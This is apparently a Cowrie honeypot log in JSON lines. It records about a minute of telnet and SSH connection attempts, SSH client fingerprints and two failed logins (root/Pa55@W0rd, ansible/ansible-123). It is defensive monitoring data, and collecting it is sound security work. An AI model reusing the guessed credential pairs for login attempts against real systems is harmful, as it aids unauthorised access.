{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":54398,"dst_ip":"159.203.135.109","dst_port":23,"session":"2335cbd6330e","protocol":"telnet","message":"New connection: 45.87.43.158:54398 (159.203.135.109:23) [session: 2335cbd6330e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:58.517382Z"}
{"eventid":"cowrie.session.closed","duration":31.20895481109619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:00.297055Z","src_ip":"146.19.248.24","session":"25c0c4cd2ca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":37946,"dst_ip":"159.203.135.109","dst_port":23,"session":"92ca3e823faf","protocol":"telnet","message":"New connection: 136.144.203.5:37946 (159.203.135.109:23) [session: 92ca3e823faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:00.686659Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":54406,"dst_ip":"159.203.135.109","dst_port":23,"session":"e87a3221562a","protocol":"telnet","message":"New connection: 45.87.43.158:54406 (159.203.135.109:23) [session: e87a3221562a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:01.233894Z"}
{"eventid":"cowrie.session.closed","duration":30.73835277557373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:01.462181Z","src_ip":"146.19.248.24","session":"9fbe23aba4bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.700072765350342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:01.732678Z","src_ip":"103.157.135.60","session":"190bdbda614c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":34554,"dst_ip":"159.203.135.109","dst_port":23,"session":"b57396790d0f","protocol":"telnet","message":"New connection: 45.87.43.158:34554 (159.203.135.109:23) [session: b57396790d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:02.273153Z"}
{"eventid":"cowrie.session.closed","duration":30.580594062805176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:02.810840Z","src_ip":"103.157.135.60","session":"c09db82bd2bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":39728,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb7b565c9c2b","protocol":"telnet","message":"New connection: 136.144.203.5:39728 (159.203.135.109:23) [session: eb7b565c9c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:04.242132Z"}
{"eventid":"cowrie.session.closed","duration":31.35419750213623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:04.789774Z","src_ip":"146.19.248.24","session":"5500a41219a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6047842502594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:05.065467Z","src_ip":"136.144.203.5","session":"214837867d77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":40164,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ed67ad44ae0","protocol":"telnet","message":"New connection: 146.19.248.24:40164 (159.203.135.109:23) [session: 2ed67ad44ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:06.148496Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":34560,"dst_ip":"159.203.135.109","dst_port":23,"session":"b33e0c40943f","protocol":"telnet","message":"New connection: 45.87.43.158:34560 (159.203.135.109:23) [session: b33e0c40943f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:06.185402Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":34574,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5a7a92e3f27","protocol":"telnet","message":"New connection: 45.87.43.158:34574 (159.203.135.109:23) [session: c5a7a92e3f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:06.372976Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39820,"dst_ip":"10.17.0.5","dst_port":23,"session":"620715b38066","protocol":"telnet","message":"New connection: 139.162.207.207:39820 (10.17.0.5:23) [session: 620715b38066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:06.877486Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":34576,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e4af6d922b9","protocol":"telnet","message":"New connection: 45.87.43.158:34576 (159.203.135.109:23) [session: 2e4af6d922b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:07.097739Z"}
{"eventid":"cowrie.session.closed","duration":31.243237257003784,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:07.890582Z","src_ip":"103.157.135.60","session":"a3b5b497cb6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":42044,"dst_ip":"159.203.135.109","dst_port":23,"session":"94699e826256","protocol":"telnet","message":"New connection: 136.144.203.5:42044 (159.203.135.109:23) [session: 94699e826256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:08.102214Z"}
{"eventid":"cowrie.session.closed","duration":30.700570344924927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:08.412562Z","src_ip":"146.19.248.24","session":"3982697bcfdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75539255142212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:10.146493Z","src_ip":"45.87.43.158","session":"55cfc53a51e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05847978591919,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:10.495339Z","src_ip":"146.19.248.24","session":"5797d9035458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64548921585083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:11.022488Z","src_ip":"146.19.248.24","session":"41d1f6015673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":34590,"dst_ip":"159.203.135.109","dst_port":23,"session":"4203a7a44e93","protocol":"telnet","message":"New connection: 45.87.43.158:34590 (159.203.135.109:23) [session: 4203a7a44e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:11.412982Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":43990,"dst_ip":"159.203.135.109","dst_port":23,"session":"1696f0fdc8a4","protocol":"telnet","message":"New connection: 136.144.203.5:43990 (159.203.135.109:23) [session: 1696f0fdc8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:11.549538Z"}
{"eventid":"cowrie.session.closed","duration":30.77673578262329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:12.089073Z","src_ip":"45.87.43.158","session":"23733728a32c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":44726,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c5dd71d3df7","protocol":"telnet","message":"New connection: 136.144.203.5:44726 (159.203.135.109:23) [session: 1c5dd71d3df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:12.424919Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":43992,"dst_ip":"159.203.135.109","dst_port":23,"session":"553ee19297c0","protocol":"telnet","message":"New connection: 136.144.203.5:43992 (159.203.135.109:23) [session: 553ee19297c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:12.552210Z"}
{"eventid":"cowrie.session.closed","duration":30.507814645767212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:13.641512Z","src_ip":"103.157.135.60","session":"d58fa6163c1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27586817741394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:13.679868Z","src_ip":"45.87.43.158","session":"1885b124af95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":57446,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ce922c2e3a1","protocol":"telnet","message":"New connection: 103.157.135.60:57446 (10.17.0.5:23) [session: 0ce922c2e3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:13.936116Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":43932,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecf85f493603","protocol":"telnet","message":"New connection: 136.144.203.5:43932 (159.203.135.109:23) [session: ecf85f493603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:14.453895Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":45434,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9bf8225ee11","protocol":"telnet","message":"New connection: 136.144.203.5:45434 (159.203.135.109:23) [session: d9bf8225ee11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:14.557149Z"}
{"eventid":"cowrie.session.closed","duration":30.417243480682373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:14.640822Z","src_ip":"103.157.135.60","session":"18892b2b364b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51216,"dst_ip":"159.203.135.109","dst_port":23,"session":"27eba5bd587f","protocol":"telnet","message":"New connection: 209.126.87.217:51216 (159.203.135.109:23) [session: 27eba5bd587f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:14.870813Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":48552,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d313d40826c","protocol":"telnet","message":"New connection: 45.87.43.158:48552 (159.203.135.109:23) [session: 9d313d40826c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:15.869536Z"}
{"eventid":"cowrie.session.closed","duration":30.912041187286377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:16.069346Z","src_ip":"103.157.135.60","session":"90ff9fde138f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40601348876953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:16.330483Z","src_ip":"146.19.248.24","session":"a452d68538fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.131611108779907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:17.294019Z","src_ip":"103.157.135.60","session":"a4d07264e92a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47866,"dst_ip":"10.17.0.5","dst_port":23,"session":"d10562e9d960","protocol":"telnet","message":"New connection: 139.162.207.207:47866 (10.17.0.5:23) [session: d10562e9d960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:17.478160Z"}
{"eventid":"cowrie.session.closed","duration":30.500093460083008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:17.766603Z","src_ip":"103.157.135.60","session":"23be1e4265b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.688308000564575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:17.851285Z","src_ip":"103.157.135.60","session":"794baa836faa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57031226158142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:17.872344Z","src_ip":"103.157.135.60","session":"c6f90cdb3e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.349243879318237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:18.137996Z","src_ip":"136.144.203.5","session":"1f0369db163e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.667174100875854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:18.209761Z","src_ip":"136.144.203.5","session":"689c1ed76064","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":38588,"dst_ip":"10.17.0.5","dst_port":23,"session":"176f830bb4ee","protocol":"telnet","message":"New connection: 103.157.135.60:38588 (10.17.0.5:23) [session: 176f830bb4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:18.357118Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":40244,"dst_ip":"10.17.0.5","dst_port":23,"session":"192142d6c5bf","protocol":"telnet","message":"New connection: 103.157.135.60:40244 (10.17.0.5:23) [session: 192142d6c5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:19.179548Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":48562,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1abb89d7dbb","protocol":"telnet","message":"New connection: 45.87.43.158:48562 (159.203.135.109:23) [session: a1abb89d7dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:21.295688Z"}
{"eventid":"cowrie.session.closed","duration":31.0444118976593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:22.057314Z","src_ip":"146.19.248.24","session":"08cf51bc3e05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.362640142440796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:22.500480Z","src_ip":"103.157.135.60","session":"d70533021f9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.810168027877808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:22.503768Z","src_ip":"146.19.248.24","session":"a675d45baaa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":36672,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8beacc3237f","protocol":"telnet","message":"New connection: 146.19.248.24:36672 (159.203.135.109:23) [session: b8beacc3237f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:22.611206Z"}
{"eventid":"cowrie.session.closed","duration":30.82862687110901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:22.697144Z","src_ip":"139.162.207.207","session":"8357cf91be12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47882,"dst_ip":"10.17.0.5","dst_port":23,"session":"e034ac4d111a","protocol":"telnet","message":"New connection: 139.162.207.207:47882 (10.17.0.5:23) [session: e034ac4d111a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:23.089291Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":55820,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad48137a5fec","protocol":"telnet","message":"New connection: 45.87.43.158:55820 (159.203.135.109:23) [session: ad48137a5fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:23.646658Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":48442,"dst_ip":"10.17.0.5","dst_port":22,"session":"e28dcfb4a070","protocol":"ssh","message":"New connection: 125.31.2.160:48442 (10.17.0.5:22) [session: e28dcfb4a070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:24.545733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:24.553052Z","src_ip":"125.31.2.160","session":"e28dcfb4a070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:24.771340Z","src_ip":"125.31.2.160","session":"e28dcfb4a070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.63187766075134,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:24.873755Z","src_ip":"139.162.207.207","session":"1ed86ce19ced","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":36674,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d860a6aa64","protocol":"telnet","message":"New connection: 146.19.248.24:36674 (159.203.135.109:23) [session: 46d860a6aa64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:24.879414Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":52698,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecc8cf1b1ccd","protocol":"telnet","message":"New connection: 136.144.203.5:52698 (159.203.135.109:23) [session: ecc8cf1b1ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:24.903028Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa55@W0rd","message":"login attempt [root/Pa55@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:25.673986Z","src_ip":"125.31.2.160","session":"e28dcfb4a070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":51168,"dst_ip":"10.17.0.5","dst_port":23,"session":"88e52f3434a0","protocol":"telnet","message":"New connection: 103.157.135.60:51168 (10.17.0.5:23) [session: 88e52f3434a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:25.755836Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47038,"dst_ip":"159.203.135.109","dst_port":22,"session":"43c556cf442b","protocol":"ssh","message":"New connection: 159.203.92.129:47038 (159.203.135.109:22) [session: 43c556cf442b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:25.854796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:25.860931Z","src_ip":"159.203.92.129","session":"43c556cf442b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:25.865550Z","src_ip":"159.203.92.129","session":"43c556cf442b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible-123","message":"login attempt [ansible/ansible-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:25.876670Z","src_ip":"159.203.92.129","session":"43c556cf442b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":54330,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3fb2706fe3c","protocol":"telnet","message":"New connection: 103.157.135.60:54330 (10.17.0.5:23) [session: b3fb2706fe3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:26.282254Z"}
{"eventid":"cowrie.session.closed","duration":30.79070472717285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:26.291672Z","src_ip":"146.19.248.24","session":"fe66fd3f0a40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:26.882358Z","src_ip":"159.203.92.129","session":"43c556cf442b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:26.893980Z","src_ip":"125.31.2.160","session":"e28dcfb4a070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.380556344985962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:27.070554Z","src_ip":"136.144.203.5","session":"a6566198b113","protocol":"telnet"}
